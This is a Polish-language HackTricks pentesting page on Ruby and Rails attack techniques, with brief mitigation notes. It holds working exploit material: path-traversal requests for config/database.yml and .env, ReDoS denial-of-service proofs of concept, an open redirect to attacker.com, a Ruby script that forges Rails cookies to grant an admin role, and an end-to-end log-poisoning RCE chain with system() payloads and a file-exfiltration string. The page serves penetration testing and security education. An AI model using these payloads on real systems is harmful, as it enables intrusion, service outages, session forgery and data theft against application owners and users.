Triki Ruby

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wgrywanie pliku do RCE

Jak wyjaśniono w this article, wgranie pliku .rb do wrażliwych katalogów, takich jak config/initializers/, może prowadzić do remote code execution (RCE) w aplikacjach Ruby on Rails.

Wskazówki:

  • Inne miejsca ładowania przy starcie aplikacji (boot/eager-load), które są wykonywane przy starcie, także są ryzykowne, jeśli są zapisywalne (np. config/initializers/ to klasyczny przykład). Jeśli znajdziesz dowolny upload pliku, który trafia gdziekolwiek pod config/ i jest później evaluated/required, możesz uzyskać RCE przy starcie.
  • Szukaj buildów dev/staging, które kopiują pliki kontrolowane przez użytkownika do image kontenera, gdzie Rails załaduje je przy starcie.

Active Storage transformacja obrazów → command execution (CVE-2025-24293)

Kiedy aplikacja używa Active Storage z image_processing + mini_magick, i przekazuje niezaufane parametry do metod transformacji obrazów, wersje Rails przed 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogły pozwolić na command injection, ponieważ niektóre metody transformacji zostały omyłkowo dopuszczone domyślnie.

  • Wzorzec podatny wygląda tak:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

gdzie params[:t] i/lub params[:v] są kontrolowane przez atakującego.

  • Co sprawdzić podczas testów

  • Zidentyfikuj endpointy przyjmujące opcje variant/processing, nazwy transformacji lub dowolne argumenty ImageMagick.

  • Fuzzuj params[:t] i params[:v] w poszukiwaniu podejrzanych błędów lub skutków ubocznych wykonania. Jeśli możesz wpłynąć na nazwę metody lub przekazać surowe argumenty, które trafią do MiniMagick, możesz uzyskać wykonanie kodu na hoście przetwarzającym obrazy.

  • Jeśli masz tylko dostęp do odczytu wygenerowanych wariantów, spróbuj ślepego exfiltration przez spreparowane operacje ImageMagick.

  • Łagodzenie/detekcja

  • Jeśli widzisz Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 z Active Storage + image_processing + mini_magick i transformacjami kontrolowanymi przez użytkownika, traktuj to jako podatne. Zalecaj aktualizację i egzekwowanie ścisłych allowlist dla metod/parametrów oraz wzmocnioną politykę ImageMagick.

Rack::Static LFI / path traversal (CVE-2025-27610)

Jeśli stos docelowy używa middleware Rack bezpośrednio lub przez frameworki, wersje rack przed 2.2.13, 3.0.14 i 3.1.12 pozwalają na Local File Inclusion przez Rack::Static, gdy :root jest niezdefiniowane/błędnie skonfigurowane. Zakodowane traversale w PATH_INFO mogą ujawnić pliki pod katalogiem roboczym procesu lub niespodziewanym rootem.

  • Szukaj aplikacji, które montują Rack::Static w config.ru lub w stackach middleware. Wypróbuj zakodowane traversale przeciwko statycznym ścieżkom, np.:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Dopasuj prefix do skonfigurowanych urls:. Jeśli aplikacja odpowiada zawartością pliku, prawdopodobnie masz LFI do wszystkiego pod rozwiąznym :root.

  • Mitigacja: zaktualizuj Rack; upewnij się, że :root wskazuje tylko na katalog z plikami publicznymi i jest ustawiony explicite.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 i < 2.2.8.1 spędzał super-liniowy czas na parsowaniu spreparowanych nagłówków Content-Type: multipart/form-data. Pojedynczy POST z olbrzymią listą parametrów A= może zablokować workera Puma/Unicorn i spowodować DoS lub wyczerpanie kolejki żądań.

  • Szybki PoC (zawiesi jednego workera):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Działa przeciwko każdemu stosowi opartemu na Rack (Rails/Sinatra/Hanami/Grape). Jeśli jest frontowany przez nginx/haproxy z keep-alive, powtórz równolegle, aby wyczerpać workerów.
  • Załatane przez uczynienie parsera liniowym; szukaj gemu rack w wersji < 3.0.9.1 lub < 2.2.8.1. W ocenach punktuj, że WAFy rzadko to blokują, ponieważ nagłówek jest składniowo poprawny.

REXML XML parser ReDoS (CVE-2024-49761)

Gem REXML < 3.3.9 (Ruby 3.1 i wcześniejsze) katastrofalnie backtrackuje przy parsowaniu szesnastkowych referencji znakowych zawierających długie ciągi cyfr (np. &#1111111111111x41;). Każdy XML przetwarzany przez REXML lub biblioteki go owijające (klienci SOAP/XML API, SAML, uploady SVG) może być nadużyty do wyczerpania CPU.

Minimalny trigger przeciwko endpointowi Rails parsującemu XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

Jeśli proces pozostaje zajęty przez kilka sekund, a zużycie CPU workerów gwałtownie rośnie, prawdopodobnie jest podatny. Atak wymaga niskiej przepustowości i wpływa także na zadania w tle, które przetwarzają XML.

Aplikacje używające gema cgi (domyślnie w wielu stosach Rack) można zamrozić pojedynczym złośliwym nagłówkiem:

  • CGI::Cookie.parse miało zachowanie nadliniowe; ogromne ciągi cookie (tysiące separatorów) wywołują zachowanie O(N²).
  • Regex w CGI::Util#escapeElement umożliwiał ReDoS podczas escapowania HTML.

Oba problemy są załatane w cgi 0.3.5.1 / 0.3.7 / 0.4.2. Dla pentests, wyślij ogromny nagłówek Cookie: lub podaj nieufny HTML do kodu pomocniczego i obserwuj zawieszanie się workerów. Połącz z keep-alive, aby wzmocnić efekt.

Gema googlesign_in < 1.3.0 (używanego do Google OAuth na Rails) wykonywał niepełne sprawdzenie same-origin dla parametru proceedto. Sfałszowany URL taki jak proceedto=//attacker.com/%2F.. omija to sprawdzenie i przekierowuje użytkownika poza serwis, zachowując przy tym Rails flash/session cookies.

Exploit flow:

  1. Ofiara klika spreparowany link Google Sign-In hostowany przez atakującego.
  2. Po uwierzytelnieniu gem przekierowuje na domenę kontrolowaną przez atakującego, powodując leak flash notices lub dowolnych danych przechowywanych w cookies o zakresie wildcard domain.
  3. Jeśli aplikacja przechowuje krótkotrwałe tokeny lub magic links we flash, można to wykorzystać do przejęcia konta.

Podczas testów przeszukaj Gemfile.lock pod googlesign_in < 1.3.0 i spróbuj zniekształconych wartości proceedto. Potwierdź przez nagłówek Location i refleksję cookie.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails szyfruje i podpisuje cookies przy użyciu kluczy wyprowadzonych z secret_key_base. Jeśli ta wartość leaks (np. w repo, logs lub źle skonfigurowanych credentials), zwykle możesz odszyfrować, zmodyfikować i ponownie zaszyfrować cookies. Często prowadzi to do authz bypass, jeśli aplikacja przechowuje role, user IDs lub feature flags w cookies.

Minimalny kod Ruby do odszyfrowania i ponownego zaszyfrowania nowoczesnych cookies (AES-256-GCM, domyślnie w nowszych Rails):

Ruby to decrypt/forge cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Uwagi:
- Starsze aplikacje mogą używać AES-256-CBC i saltów `encrypted cookie` / `signed encrypted cookie`, lub serializerów JSON/Marshal. Dostosuj salty, szyfr i serializer odpowiednio.
- W razie kompromitacji lub podczas oceny, zmień `secret_key_base`, aby unieważnić wszystkie istniejące cookies.

## See also (Ruby/Rails-specific vulns)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Gdy aplikacja (często prosty endpoint Rack/Sinatra/Rails) jednocześnie:
- loguje dowolny ciąg kontrolowany przez użytkownika dosłownie, oraz
- a następnie wywołuje `load` na pliku, którego ścieżka pochodzi z tego samego ciągu (po `Pathname#cleanpath`),

Często można osiągnąć remote code execution, zatruwając log i zmuszając aplikację do `load` pliku z logiem. Kluczowe prymitywy:

- Ruby `load` ocenia zawartość docelowego pliku jako Ruby, niezależnie od rozszerzenia pliku. Każdy czytelny plik tekstowy, którego zawartość da się sparsować jako Ruby, zostanie wykonany.
- `Pathname#cleanpath` skraca segmenty `.` i `..` bez odwołań do systemu plików, umożliwiając path smuggling: kontrolowane przez atakującego śmieci mogą być dodane na początku dla logowania, podczas gdy oczyszczona ścieżka nadal wskazuje na zamierzony plik do wykonania (np. `../logs/error.log`).

### Minimal vulnerable pattern
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Dlaczego log może zawierać poprawny Ruby

Logger zapisuje linie prefiksu takie jak:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

W Ruby # rozpoczyna komentarz, a 9/2/2025 to po prostu działanie arytmetyczne. Aby wstrzyknąć poprawny kod Ruby, musisz:

  • Rozpocząć payload na nowej linii, aby nie został zakomentowany przez # w linii INFO; wyślij początkowy znak nowej linii (\n lub %0A).
  • Zamknąć wiszący [ wprowadzony przez linię INFO. Częstym trikiem jest rozpoczęcie od ] i opcjonalnie „uszczęśliwienie” parsera za pomocą ][0]=1.
  • Następnie umieścić dowolny kod Ruby (np. system(...)).

Przykład tego, co znajdzie się w logu po jednym żądaniu ze spreparowanym paramem:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Przemycenie pojedynczego ciągu, który zarówno zapisuje kod w logu, jak i rozwiązuje się do ścieżki logów

Chcemy jeden kontrolowany przez atakującego ciąg, który:

  • gdy zapisany bez modyfikacji w logu, zawiera nasz Ruby payload, oraz
  • gdy przekazany przez Pathname.new(<input>).cleanpath, rozwiązuje się do ../logs/error.log, dzięki czemu następujące po tym load wykona właśnie zatruty plik logu.

Pathname#cleanpath ignoruje schematy i redukuje komponenty przejścia (..), więc następujące działa:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • # przed :// powoduje, że Ruby ignoruje resztę, gdy log jest wykonywany, podczas gdy cleanpath nadal redukuje sufiks do ../logs/error.log.
  • Wiodący znak nowej linii przerywa linię INFO; ] zamyka wiszący nawias; ][0]=1 zadowala parser.

Eksploatacja end-to-end

  1. Wyślij następujące jako nazwę skryptu backupu (zakoduj pierwszy znak nowej linii jako %0A, jeśli potrzeba):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Aplikacja loguje Twój surowy string do logs/error.log.
  2. Aplikacja oblicza cleanpath, który rozwiązuje się do ../logs/error.log i wywołuje na nim load.
  3. Ruby wykonuje kod, który wstrzyknąłeś do loga.

Aby dokonać eksfiltracji pliku w środowisku typu CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

PoC zakodowany w URL (pierwszy znak to nowa linia):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks